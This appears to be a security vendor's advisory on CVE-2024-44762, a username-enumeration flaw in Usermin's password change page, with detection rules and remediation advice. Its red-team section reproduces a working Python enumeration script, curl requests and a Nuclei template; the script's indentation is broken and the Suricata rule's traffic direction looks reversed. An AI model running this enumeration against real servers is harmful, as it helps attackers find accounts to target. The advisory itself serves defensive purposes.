CVE-2024-44762

Executive Summary

CVE-2024-44762 is a medium-severity vulnerability affecting Webmin Usermin version 2.100 and below. The flaw resides in the password change functionality (/password_change.cgi), where the application returns distinct error messages for valid versus invalid usernames. This discrepancy allows an unauthenticated, remote attacker to enumerate valid user accounts without any prior knowledge or authentication.

The vulnerability is classified under CWE-209 (Generation of Error Message Containing Sensitive Information). While it does not directly lead to code execution or data breach, it significantly lowers the barrier for targeted attacks such as credential stuffing, brute-force, or social engineering. The EPSS score is 0.14947 (94.58th percentile), indicating active scanning and exploitation attempts in the wild.

Supply Chain & Package Security

Usermin is a web-based email and user management interface, part of the Webmin project. It is distributed as a standalone package from the official Webmin repository and is not available via NPM, PyPI, Go, or Ruby registries. The supply chain risk is moderate: users who download Usermin from unofficial mirrors or outdated repositories may be exposed to this vulnerability. The official Webmin repository has not yet released a patched version as of this report.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Threat Level: Medium. While the direct impact is limited to information disclosure, the ability to enumerate valid usernames is a critical stepping stone for more severe attacks.

Deep Dive & Mechanics

The vulnerability exists in the password_change.cgi script, which handles password change requests for Usermin users. When a POST request is sent to this endpoint with parameters user, old, new1, and new2, the application performs two checks:

1. User Existence Check: The script queries the system's password file (e.g., /etc/passwd or PAM) to verify if the provided username exists.
2. Password Validation: If the user exists, it checks whether the provided old password matches the current password.

The flaw is that the application returns different error messages for each scenario:

• Valid username + incorrect password: "Failed to change password: The current password is incorrect"
• Invalid username: "Your login name was not found in the password file"

An attacker can send a single POST request per username and distinguish valid accounts based on the response body. The Nuclei template and Exploit-DB code both leverage this exact behavior.

Root Cause: The application fails to use a generic error message for both cases, violating the principle of not leaking information through error responses.

Vulnerable vs. Patched Code

Vulnerable Code (Usermin <= 2.100):

The password_change.cgi script likely contains logic similar to:

# Pseudocode for vulnerable version
my $user = param('user');
my $old_pass = param('old');

if (user_exists($user)) {
    if (verify_password($user, $old_pass)) {
        # Change password
    } else {
        print "Failed to change password: The current password is incorrect";
    }
} else {
    print "Your login name was not found in the password file";
}

Patched Code (Hypothetical):

A patched version would use a single, generic error message regardless of whether the user exists:

# Pseudocode for patched version
my $user = param('user');
my $old_pass = param('old');

if (user_exists($user) && verify_password($user, $old_pass)) {
    # Change password
} else {
    print "Failed to change password: Invalid username or password";
}

This prevents attackers from distinguishing between valid and invalid usernames.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Usermin <= 2.100
• Network access to the Usermin web interface (default port 20000)
• A wordlist of potential usernames

Exploit-DB Code Usage:

The provided Python script automates the enumeration process. Save it as usermin_enum.py and run:

python3 usermin_enum.py -u https://target:20000 -w users.txt

Full Exploit-DB Code:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Username Enumeration (Version 2.100)
# Usage: UserEnumUsermin.py -u HOST -w WORDLIST_USERS
# Example: UserEnumUsermin.py -u https://127.0.0.1:20000 -w users.txt

import requests
import json
import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

parser = argparse.ArgumentParser()

parser.add_argument("-u", "--url", help = "use -u with the url to the host of usermin, EX: \"-u https://127.0.0.1:20000\"")
parser.add_argument("-w", "--wordlist_users", help = "use -w with the username wordlist, EX: \"-w users.txt\"")

args = parser.parse_args()

if len(sys.argv) != 5:
    print("Please provide the -u for URL and -w for the wordlist containing the usernames")
    print("EX: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt")
    exit()

usernameFile = open(args.wordlist_users, 'r')

dataUsername = usernameFile.read()
usernameFileIntoList = dataUsername.split("\n")
usernameFile.close()

for i in usernameFileIntoList:

    newHeaders = {'Content-type': 'application/x-www-form-urlencoded', 'Referer': '%s/password_change.cgi' % args.url}
    params = {'user':i, 'pam':'', 'expired':'2', 'old':'fakePassword', 'new1':'password', 'new2':'password'}
    response = requests.post('%s/password_change.cgi' % args.url, data=params, verify=False, headers=newHeaders)
        if "Failed to change password: The current password is incorrect." in response.text:
        print("Possible user found with username: " + i)

    if "Failed to change password: Your login name was not found in the password file!" not in response.text and "Failed to change password: The current password is incorrect." not in response.text:
        print("Application is most likely not vulnerable and are therefore quitting.")
        exit() # comment out line 33-35 if you would still like to try username enumeration.

Manual Exploitation with cURL:

# Test for valid user "admin"
curl -k -X POST "https://target:20000/password_change.cgi" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Referer: https://target:20000/password_change.cgi" \
  -d "user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password"

# Response for valid user:
# "Failed to change password: The current password is incorrect"

# Test for invalid user "nonexistent"
curl -k -X POST "https://target:20000/password_change.cgi" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Referer: https://target:20000/password_change.cgi" \
  -d "user=nonexistent&pam=&expired=2&old=fakePassword&new1=password&new2=password"

# Response for invalid user:
# "Your login name was not found in the password file"

Blue Team

Detection & Prevention:

1. Monitor for anomalous POST requests to /password_change.cgi with varying user parameters.
2. Implement rate limiting on the password change endpoint to slow down enumeration attempts.
3. Deploy a Web Application Firewall (WAF) rule to block requests containing the distinct error messages in responses.
4. Apply the principle of generic error messages – ensure all authentication-related endpoints return identical responses for both valid and invalid inputs.

Lab Setup for Testing:

# Install vulnerable Usermin version 2.100 on a test VM
wget https://github.com/webmin/usermin/releases/download/2.100/usermin-2.100.tar.gz
tar -xzf usermin-2.100.tar.gz
cd usermin-2.100
./setup.sh /usr/local/usermin
# Access at https://<VM_IP>:20000

Indicators of Compromise (IOCs)

Network IOCs:

• Multiple POST requests to /password_change.cgi with different user parameters in a short time frame.
• HTTP responses containing either:
  • "Failed to change password: The current password is incorrect"
  • "Your login name was not found in the password file"
• Referer header set to https://<target>/password_change.cgi

Host IOCs:

• Unusual entries in Usermin access logs (/var/log/usermin/access.log) showing repeated password change attempts.
• High volume of 200 OK responses from /password_change.cgi with varying usernames.

Log Example:

192.168.1.100 - - [15/Oct/2024:10:23:45 +0000] "POST /password_change.cgi HTTP/1.1" 200 123 "-" "python-requests/2.31.0"
192.168.1.100 - - [15/Oct/2024:10:23:46 +0000] "POST /password_change.cgi HTTP/1.1" 200 124 "-" "python-requests/2.31.0"

Detection Engineering

YARA Rule

rule CVE_2024_44762_Usermin_Username_Enumeration {
    meta:
        description = "Detects Usermin password change responses indicating username enumeration"
        author = "Valters IT"
        date = "2024-10-15"
        cve = "CVE-2024-44762"
        severity = "medium"
    strings:
        $valid_user = "Failed to change password: The current password is incorrect"
        $invalid_user = "Your login name was not found in the password file"
    condition:
        any of them
}

Sigma Rule

title: Usermin Username Enumeration via Password Change Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple POST requests to Usermin password_change.cgi with different user parameters, indicating username enumeration.
author: Valters IT
date: 2024-10-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44762
    - https://www.exploit-db.com/exploits/52254
logsource:
    category: webserver
    product: usermin
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /password_change.cgi
        cs-uri-query|contains: "user="
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          function: distinct_count(cs-uri-query)
          condition: gt 10
falsepositives:
    - Legitimate password change attempts by multiple users
level: medium
tags:
    - attack.t1589.001
    - cve.2024.44762

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-44762 - Usermin Username Enumeration Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/password_change.cgi";
    http_uri;
    content:"user=";
    http_client_body;
    pcre:"/user=[^&]+/";
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-44762;
)

Nuclei Template (Provided)

id: CVE-2024-44762

info:
  name: Usermin 2.100 - Username Enumeration
  author: ritikchaddha
  severity: medium
  description: |
    Usermin version 2.100 and below is susceptible to username enumeration via the password change functionality. An attacker can determine valid usernames by analyzing the response messages from the password change endpoint.
  impact: |
    Attackers can enumerate valid usernames by analyzing password change responses, aiding in further attacks.
  remediation: |
    Upgrade to the latest version of Usermin that addresses this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/52254
    - https://www.webmin.com/usermin.html
    - https://senscybersecurity.nl/cve-2024-44762-explained/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44762
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-44762
    cwe-id: CWE-209
    epss-score: 0.14947
    epss-percentile: 0.94584
  metadata:
    verified: true
    max-request: 1
    vendor: webmin
    product: usermin
    shodan-query: title:"Usermin"
    fofa-query: app="Usermin"
  tags: cve,cve2024,usermin,webmin,exposure,usernames,vuln

http:
  - raw:
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/password_change.cgi

        user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password

    matchers:
      - type: word
        part: body
        words:
          - "Failed to change password: The current password is incorrect"
          - "Your login name was not found in the password file"
        condition: or

Remediation & Mitigation

Immediate Actions:

1. Upgrade Usermin to the latest version (if a patch becomes available). Monitor the official Webmin repository for updates.
2. Apply a virtual patch using a WAF to block requests that contain the distinct error messages in responses.
3. Implement rate limiting on the /password_change.cgi endpoint to restrict the number of requests per IP address.
4. Modify the application code (if possible) to return a generic error message for both valid and invalid usernames.

Long-Term Recommendations:

• Adopt secure coding practices – never reveal whether a username exists in error messages.
• Conduct regular security audits of authentication and password management endpoints.
• Deploy intrusion detection systems with the provided Sigma and Suricata rules.
• Monitor Shodan and FOFA for exposed Usermin instances using the provided dorks.

Workaround (Code Modification):

If you have access to the Usermin source code, modify the password_change.cgi script to return a single error message:

# Replace the two distinct messages with:
print "Failed to change password: Invalid username or password";

Valters IT

{/* [Security Hash: F6BDE89D4A4299C193E072FB] */}